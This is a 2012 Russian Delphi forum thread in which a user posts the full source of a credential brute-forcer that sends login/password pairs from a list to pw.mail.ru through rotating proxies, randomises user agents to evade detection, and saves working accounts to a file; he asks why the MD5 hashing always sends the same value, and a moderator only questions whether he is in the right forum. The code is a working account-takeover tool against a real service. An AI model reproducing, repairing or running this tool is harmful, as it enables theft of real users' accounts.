Модераторы: Snowy, MetalFan, bems, Poseidon
  

Поиск:

Закрытая темаСоздание новой темы Создание опроса
> Ошибка в работе программы 
:(
    Опции темы
Ardinvest
Дата 31.5.2012, 03:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 31.5.2012

Репутация: нет
Всего: нет



Проблема заключается в том,что,вместо того чтобы слать разные,зашифрованые в MD5 пароли,программа шлёт один и тот же,хотя "логины" нормально перебирает.За основу взял брут от Vans`a.
Вот полный код программы:
Код


unit Unit1;
{
Coded by VANS   vans-soft.ru
}
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, StdCtrls, xpman, ExtCtrls, Gauges;

type
  TForm1 = class(TForm)
    LogMemo: TMemo;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    IdHTTP1: TIdHTTP;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    Button2: TButton;
    GroupBox3: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    OpenDialog1: TOpenDialog;
    Button3: TButton;
    Button4: TButton;
    Proc: TGauge;
    Timer1: TTimer;
    AllLabel: TLabel;
    ProxyLabel: TLabel;
    GoodLabel: TLabel;
    BadLabel: TLabel;
    ErrorLabel: TLabel;
    procedure Button3Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button1Click(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public //Пусть функция будет доступна всем
  Function CheckAcc(login, passw, proxy, pport:string):integer;
    { Public declarations }
  end;

  TBruteThread=class(TThread) //Я уже писал об этом.
  Private
    Protected
      Procedure Execute;override;
  Public
    Constructor Create(CreateSuspended: boolean);
  end;

var
  Form1: TForm1;
  work:boolean;
  tp, coded:integer;
  GoodFile:TextFile;
  ProxyList, SourceList:TStringList;
  UserAg: array [0..10] of string=( //массив c user agent'ами дабы не просекли что идёт брут.
    'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
    'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
    'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
    'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
    'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
  );
  S:string;
  H:string;

implementation

{$R *.dfm}

Function md5(H:string):String;
 var a:array[0..15] of byte;
     i:integer;
  LenHi, LenLo: longword;
  Index: DWord;
  HashBuffer: array[0..63] of byte;
  CurrentHash: array[0..3] of DWord;
  procedure Burn;
  begin
    LenHi:= 0; LenLo:= 0;
    Index:= 0;
    FillChar(HashBuffer,Sizeof(HashBuffer),0);
    FillChar(CurrentHash,Sizeof(CurrentHash),0);
  end;
 procedure Init;
 begin
   Burn;
   CurrentHash[0]:= $67452301;
   CurrentHash[1]:= $efcdab89;
   CurrentHash[2]:= $98badcfe;
   CurrentHash[3]:= $10325476;
 end;
 function LRot32(a, b: longword): longword;
 begin
   Result:= (a shl b) or (a shr (32-b));
 end;
 procedure Compress;
 var
   Datas: array[0..15] of dword;
   A, B, C, D: dword;
 begin
   Move(HashBuffer,Datas,Sizeof(Datas));
   A:= CurrentHash[0];
   B:= CurrentHash[1];
   C:= CurrentHash[2];
   D:= CurrentHash[3];
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[ 0] + $d76aa478,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[ 1] + $e8c7b756,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[ 2] + $242070db,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[ 3] + $c1bdceee,22);
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[ 4] + $f57c0faf,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[ 5] + $4787c62a,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[ 6] + $a8304613,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[ 7] + $fd469501,22);
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[ 8] + $698098d8,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[ 9] + $8b44f7af,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[10] + $ffff5bb1,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[11] + $895cd7be,22);
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[12] + $6b901122,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[13] + $fd987193,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[14] + $a679438e,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[15] + $49b40821,22);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[ 1] + $f61e2562,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[ 6] + $c040b340,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[11] + $265e5a51,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[ 0] + $e9b6c7aa,20);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[ 5] + $d62f105d,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[10] + $02441453,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[15] + $d8a1e681,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[ 4] + $e7d3fbc8,20);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[ 9] + $21e1cde6,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[14] + $c33707d6,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[ 3] + $f4d50d87,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[ 8] + $455a14ed,20);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[13] + $a9e3e905,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[ 2] + $fcefa3f8,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[ 7] + $676f02d9,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[12] + $8d2a4c8a,20);
   A:= B + LRot32(A + (B xor C xor D) + Datas[ 5] + $fffa3942,4);
   D:= A + LRot32(D + (A xor B xor C) + Datas[ 8] + $8771f681,11);
   C:= D + LRot32(C + (D xor A xor B) + Datas[11] + $6d9d6122,16);
   B:= C + LRot32(B + (C xor D xor A) + Datas[14] + $fde5380c,23);
   A:= B + LRot32(A + (B xor C xor D) + Datas[ 1] + $a4beea44,4);
   D:= A + LRot32(D + (A xor B xor C) + Datas[ 4] + $4bdecfa9,11);
   C:= D + LRot32(C + (D xor A xor B) + Datas[ 7] + $f6bb4b60,16);
   B:= C + LRot32(B + (C xor D xor A) + Datas[10] + $bebfbc70,23);
   A:= B + LRot32(A + (B xor C xor D) + Datas[13] + $289b7ec6,4);
   D:= A + LRot32(D + (A xor B xor C) + Datas[ 0] + $eaa127fa,11);
   C:= D + LRot32(C + (D xor A xor B) + Datas[ 3] + $d4ef3085,16);
   B:= C + LRot32(B + (C xor D xor A) + Datas[ 6] + $04881d05,23);
   A:= B + LRot32(A + (B xor C xor D) + Datas[ 9] + $d9d4d039,4);
   D:= A + LRot32(D + (A xor B xor C) + Datas[12] + $e6db99e5,11);
   C:= D + LRot32(C + (D xor A xor B) + Datas[15] + $1fa27cf8,16);
   B:= C + LRot32(B + (C xor D xor A) + Datas[ 2] + $c4ac5665,23);
   A:= B + LRot32(A + (C xor (B or (not D))) + Datas[ 0] + $f4292244,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Datas[ 7] + $432aff97,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Datas[14] + $ab9423a7,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Datas[ 5] + $fc93a039,21);
   A:= B + LRot32(A + (C xor (B or (not D))) + Datas[12] + $655b59c3,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Datas[ 3] + $8f0ccc92,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Datas[10] + $ffeff47d,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Datas[ 1] + $85845dd1,21);
   A:= B + LRot32(A + (C xor (B or (not D))) + Datas[ 8] + $6fa87e4f,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Datas[15] + $fe2ce6e0,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Datas[ 6] + $a3014314,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Datas[13] + $4e0811a1,21);
   A:= B + LRot32(A + (C xor (B or (not D))) + Datas[ 4] + $f7537e82,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Datas[11] + $bd3af235,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Datas[ 2] + $2ad7d2bb,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Datas[ 9] + $eb86d391,21);
   Inc(CurrentHash[0],A);
   Inc(CurrentHash[1],B);
   Inc(CurrentHash[2],C);
   Inc(CurrentHash[3],D);
   Index:= 0;
   FillChar(HashBuffer,Sizeof(HashBuffer),0);
 end;
 procedure Update(const Buffer; Size: longword);
 var
   PBuf: ^byte;
 begin
   Inc(LenHi,Size shr 29);
   Inc(LenLo,Size*8);
   if LenLo< (Size*8) then
     Inc(LenHi);
   PBuf:= @Buffer;
   while Size> 0 do
   begin
     if (Sizeof(HashBuffer)-Index)<= DWord(Size) then
     begin
       Move(PBuf^,HashBuffer[Index],Sizeof(HashBuffer)-Index);
       Dec(Size,Sizeof(HashBuffer)-Index);
       Inc(PBuf,Sizeof(HashBuffer)-Index);
       Compress;
     end
     else
     begin
       Move(PBuf^,HashBuffer[Index],Size);
       Inc(Index,Size);
       Size:= 0;
     end;
   end;
 end;
 procedure Final(var Digest);
 begin
   HashBuffer[Index]:= $80;
   if Index>= 56 then Compress;
   PDWord(@HashBuffer[56])^:= LenLo;
   PDWord(@HashBuffer[60])^:= LenHi;
   Compress;
   Move(CurrentHash,Digest,Sizeof(CurrentHash));
   Burn;
 end;
begin
 Init;
 Update(s[1],Length(s));
 Final(a);
 result:='';
 for i:=0 to 15 do
   result:=result+IntToHex(a[i], 2);
 Burn;
end;

function TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
var HTTP:TidHTTP; send:TStringList; pg:string;
begin
  HTTP:=TIdHTTP.Create(nil); //создаём компонент
  with HTTP do begin //устанавливаем настройки
    AllowCookies:=true; //включаем куки
    HandleRedirects:=false; //Запрещаем редирект на страницу
    ReadTimeout:=10000; //Тайм аут на соединение (типо чекер прокси)
    ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
    ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
    randomize; //Рандомизируем числа
    Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
  end;

  //формируем параметры для POST запроса
  Send:=TStringList.Create;
  Send.Add('s=');
  Send.Add('do=login');
  Send.Add('vb_login_md5password='+MD5(passw));
  Send.Add('vb_login_md5password_utf='+MD5(passw));
  Send.Add('vb_login='+login);
  Send.Add('vb_password='+passw);
  try //Перехват ошибок которые могут возникнуть во время отправки запроса
    HTTP.Request.Referer:='http://pw.mail.ru/'; //Мы авторизируемся с главной страницы =)
    pg:=HTTP.Post('http://pw.mail.ru/login.php', send); //Отправляем запрос
    result:=2; //если нету редиректа значит аккаунт не валидный. Пичалька...
  except
    if HTTP.ResponseCode<>200 then result:=0 else result:=1; 
  end;
  Send.Free; //Удаляем созданные ранее переменные
  HTTP.Free; //Удаляем созданные ранее компоненты

end;

constructor TBruteThread.Create(CreateSuspended: boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TBruteThread.Execute;
var rez:integer; ps, pp, slog, spass, sacc:string;
begin
  while work do begin //цикл будет длится до тех пор, пока work=true
    inc(tp); //Увеличиваем переменную TP на 1, если записать так inc(tp, 2) то увеличится на 2
    if tp=ProxyList.Count-1 then tp:=0; //Если конец списка, то идём с начала

    ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1); //Копируем адрес
    pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp])); //Копируем порт

    sacc:=SourceList[0]; //Берём первый аккаунт
    SourceList.Delete(0); //Удаляем первый аккаунт дабы не засорял список.

    if SourceList.Count=0 then work:=false; //Если всё прошли то вырубаем цикл

    if pos(';', sacc)<>0 then begin //Если разделитель такой то
      slog:=Copy(sacc, 1, Pos(';',sacc)-1); //Копируем логин
      spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc)); //Копируем пароль
    end else begin //иначе
      slog:=Copy(sacc, 1, Pos(':',sacc)-1);
      spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc));
    end;

    //Дабы не писать всё тут - лучше создать отдельную функцию (можно даже в потоке)
    rez:=Form1.CheckAcc(slog, spass, ps, pp); //Вызываем функцию и результат записываем в переменную rez

      case rez of //Открываем переменную
        0:begin //Если в переменной 0 то
          //Добавляем аккаунт в конец списка что бы потом проверить ещё раз.
          SourceList.Add(slog+';'+spass);
          Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1); //Увеличиваем  Label с кол-вом ошибок
        end;

        1:begin //Если в переменной 1 то
          Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); //Увеличиваем  Label с кол-вом гудов

          Append(GoodFile); //открываем файл
          Writeln(GoodFile, slog+';'+spass); //Добавляем строчку (знакомо с паскаля)
          Closefile(GoodFile); //Закрываем файл

          Form1.LogMemo.Lines.Add(slog+';'+spass); //Выводим аккаунт
          Form1.Proc.Progress:=Form1.Proc.Progress+1; //отображаем процесс
        end;

        2:begin //Если в переменной 2 то
          Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); //Увеличиваем  Label с кол-вом bad'ов
          Form1.Proc.Progress:=Form1.Proc.Progress+1; //Продвигаемся =)
        end;
      end;
  end;
  Form1.LogMemo.Lines.Add('Success!'); //Если цикл закончился то выводим сообщение
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
tp:=-1; //Начинаем с первого прокси, ставим -1 т.к. будет inc() в начале
work:=true; //Включаем цикл
proc.MaxValue:=SourceList.Count-1; //Присваиваем общие кол-во аккаунтов
TBruteThread.Create(false); //Запускаем поток
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 SourceList.Free; //Сносим переменную
 ProxyList.Free; //Сносим переменную
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then begin //Если выбрали файл то
    SourceList.Clear; //Очищаем на всякий случай.
    SourceList.LoadFromFile(OpenDialog1.FileName); //Загружаем выбранный файл
    Edit1.Text:=OpenDialog1.FileName; //Выводим путь
    AllLabel.Caption:=IntToStr(SourceList.Count-1); //Выводим кол-во строк в source
  end;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); //Указываем начальную папку
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if OpenDialog1.Execute then begin //Если выбрали файл то
    ProxyList.Clear; //Очищаем на всякий случай.
    ProxyList.LoadFromFile(OpenDialog1.FileName); //Загружаем выбранный файл
    Edit2.Text:=OpenDialog1.FileName; //Выводим путь
    ProxyLabel.Caption:=IntToStr(ProxyList.Count-1); //Выводим кол-во прокси
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
work:=false; //Останавливаем цикл
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ProxyList:=TStringList.Create; //Создаём прокси лист
SourceList:=TStringList.Create; //Аналогично

coded:=0;
 if not FileExists(ExtractFilePath(Application.ExeName)+'GOOD.txt') then begin //если файл не найден то
  Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'GOOD.txt'); //Указываем путь файла
  Rewrite(GoodFile); //Создаём
  Closefile(GoodFile); //Закрываем
 end else Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'GOOD.txt'); //Если файл есть то прость указываем его путь.
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin  //Создаём прикольный эффект!
  case coded of //Открываем переменную coded
  0:logMemo.Text:='C'; //Присваиваем memo букву "С"
  1:Timer1.Enabled:=false;
  end;
  inc(coded); //Повышаем число в переменной на 1
end;

end.


Это сообщение отредактировал(а) Ardinvest - 31.5.2012, 03:17
PM MAIL   Вверх
bems
Дата 1.6.2012, 13:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 18
Всего: 88



Модератор: туда ли ты зашел?


--------------------
Обижено школьников: 8
PM MAIL   Вверх
  
Закрытая темаСоздание новой темы Создание опроса
Правила форума "Delphi: Для новичков"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Для новичков | Следующая тема »


 




[ Время генерации скрипта: 0.0752 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.